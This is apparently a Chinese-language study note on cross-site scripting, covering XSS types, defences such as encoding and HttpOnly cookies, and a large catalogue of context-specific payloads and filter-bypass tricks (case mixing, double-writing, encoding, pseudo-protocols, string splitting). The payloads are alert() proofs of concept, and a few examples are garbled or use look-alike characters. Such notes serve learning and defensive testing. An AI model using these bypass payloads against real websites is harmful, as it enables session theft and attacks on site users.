XSS介绍
1.DOM型XSS
与反射/存储型是类似的,区别在于DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
2.反射性XSS
一般存在于某一个链接中(通常出现在网站的搜索栏、用户等入口等地方),作为输入提交到服务器,服务器解析后响应,在响应的内容中出现这段XSS代码。当被攻击者访问这样的链接时,会直接在受害者主机上的浏览器中执行,这类跨站代码一般不会存储在服务器上面,大多只能影响单一用户。
3.存储型XSS
这种XSS用起来比较方便,跨站代码会存储在服务端(数据库、内存、文件系统等),换句话就是可以持久的进行攻击,可能会影响到网站的众多用户,亦称持久型XSS。
常用的代码
<script>alert('xss');</script> 弹框
<img src=1 οnerrοr=alert('xss');> 图签
XSS攻击原理
XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行。
XSS如何防御
1、使用 XSS Filter
针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
过滤或移除特殊的 html 标签:<script>、<iframe>等。
过滤 js 事件的标签:onclick、onerror、onfocus等。
2、html 实体
当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码,在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。 html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。
显示结果 描述 实体编号
空格   ;
< 小于 < ;
> 大于 > ;
& 和 & ;
'' 引号 " ;
3、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,除了上面的那些转义之外,还要附加上下面的转义:
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)
注意:在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制\xhh 的方式进行编码。
4、Http Only cookie
许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。
防御:
1.输入检查
常见的Web漏掉都会要求攻击者构造一些特殊的字符,这些特殊的字符可能使正常用户不会用到的,所有输入检查就有存在的必要。比如,邮件、电话号码、生日信息等格式检查。需要强调的是,输入检查的逻辑必须放在服务器端,因为如果在JavaScript端实现的话,很容易被攻击者绕过
2.安全的编码函数
HTMl的编码方式是HtmlEncode,它是一种函数实现,作用是将字符转成HTMLEntities,对应的标准是ISO-8859-1。为了对抗XSS,HtmlEncode至少要求转义如下字符:& --> & <、--> < 、> --> > 、" --> " 、/ --> / 。
3.HttpOnly
浏览器会禁止JavaScript访问带有httponly标示的cookie,从而可以达到防止攻击者窃取用户cookie,可以根据自己需要,选择相应的cookie加上httponly标示,如:header("Set-Cookie:cookie1=test;httponly",false),添加httponly属性的过程简单,效果明显,但如果业务非常复杂,则需要在所有的set-cookie的地方加上该标示,漏掉任何一个都有可能使该方案失效
挖掘步骤:
找到可能存在漏洞的地方,查看是否有进行处理,没有处理进行相应攻击测试,成功发现漏洞
对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing;同样是Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。
输出点为HTML标签的文本区域<textarea>输出点</textarea>
<script>alert(1)</script>
输出点为html标签的属性值<input type="text" name="address" value="输出点">
"><script>alert(1)</script>
" οnfοcus="alert(1)
输出点为JavaScript脚本中的字符串<script>var a=”输出点”; </script>
“; alert(1); var b=”
';alert(1);</script>//
输出点为以URL位置的属性值<a href="输出点">click here</a><embed src="输出点"><iframe src="输出点"><object data="输出点">
" οnfοcus="alert(1)
"><script>alert(1)</script>
javascript:alert(1);
xss利用
XSS内网代理
XSS获取cookie
XSS内网反弹redis
XSS蠕虫
利用BeEF进行XSS漏洞利用,beff是一种web攻击平台
【绕过技巧】
常用的绕过技巧
1)大小写绕过
用于绕过黑名单(校验报错)安全防护。
例如:<ScRipT>alert('XSS')</sCRIpT>
2)双写绕过
用于绕过黑名单(置空方式)安全防护。
例如:<scrscriptipt>alert('XSS')</scrscriptipt>
3)编码绕过
用于绕过黑名单安全防护
十进制编码(同理十六进制,八进制)
<iframe src=alert(1)>
采用十进制编码后
<iframe src=javascript:alert(1)>
注意:标签不能编码,可以不加分好,可以在数字前用0填充,还可以把、、	等字符插入代码的头部或任意地方。
4)URL编码绕过
用于后台使用了URL解码的函数场景(URL中的payload肯定支持URL编码)
<script>alert('XSS')</script>
URL编码后
%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
5)Unicode编码绕过
JavaScript支持Unicode编码
Unicode编码后
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
注意:不能编码符号和标签
6)JavaScript伪协议
<a href="alert(1)">xss</a>
支持伪协议的属性有href,lowsrc,bgsound,background,action,dynsr。此方式针对过滤不严谨的系统使用,比如系统只对
JS符号和关键字过滤,但是没有对"javascript"过滤,就可以利用此方法绕过。如果对"javascript"也会过滤,则可以结合其他的绕过技术一起利用,也可能成功绕过。
data伪协议<a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">xxx</a> (老版本浏览器已不支持)
7)`替换括号
<img src="1111" alert`1` />
8)/替换空格
<img/src/οnerrοr=alert(1)>
9)跨站拆分法
用于绕过后台的长度限制,将一个代码通过字符串拼接能力拆分成多条代码。
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<script'</script>
<script>z+='>alert(1'</script>
<script>z+=')</script'</script>
<script>z+='>"'</script>
<script></script>
10)String.fromCharCode()方法
用于黑名单过滤
该方法是JavaScript中的字符串方法,用于把ASCII转换成字符串。
<script>document.writeln(<script>alert("xss")</script>)</script>用String.fromCharCode表示后的形式如下:
<script>document.writeln(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,34,41,59,60,47,115,99,114,105,112,116,62))</script>
这个方法需要使用<script>标签包裹,或者配合JavaScript伪协议使用
xss漏洞绕过:
1.过滤空格
可以用/代替空格
用url编码,回车换行也能代替空格,%0a,%09,%0d等代替空格
2.过滤分号引号
使用伪协议<a href=javascript:alert(1)>
3.过滤改写 标签属性事件等关键字
可以尝试大小写绕过
通过url编码绕过,或插入制表换行%0a%0d等url编码(需要在url中注入)
构造不常用的标签进行注入(过滤标签)
4.过滤一些自带的方法
可以拼接字符串绕过(如过滤alert()、Javascript 可以用)
使用html编码
5.将标签替换为空字符,或删除关键字
可以双写绕过
6.过滤括号
可以alert`1`
7.其他
可以使用tab或回车的方式绕过过滤
XSS 常见攻击方法
1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;
2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)
*3、【【【【回车和 Tab】】】。如果 XSS Filter 仅仅将敏感的输入字符列入**,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>;
4、利用事件来执行跨站脚本。例如:<img src=“#” “alert(1)”/>,当 src 错误的视乎就会执行 onerror 事件;
5、利用 CSS 跨站。例如:body {backgrund-image: url("javascript:alert('xss')")};
6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>;
*7、【【【【利用字符编码】】】】,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;html编码,url编码,对js进行各种编码( JS 支持 unicode、eacapes、十六进制、十、八进制等编码形式);
<script>a\u006cert(1);</script> unicode
<script>eval('a\x6cert(1)');</script> 十六进制
<script>eval('a\154ert(1)');</script><script>top['al\145rt'](3);</script> 八进制 需通过eval等函数?
8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;
9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;
10.<abc οnclick=alert(1) src=a>Click here</abc> 【【【自定义标签+事件处理器】】】
11.top[](),eval() setTimeout() setInterval() execScript() Function()等【【【等可以将字符串当作js脚本执行,可以绕过大量黑名单】】】
“top”也可以替换为“window”、“parent”、“self”或“this”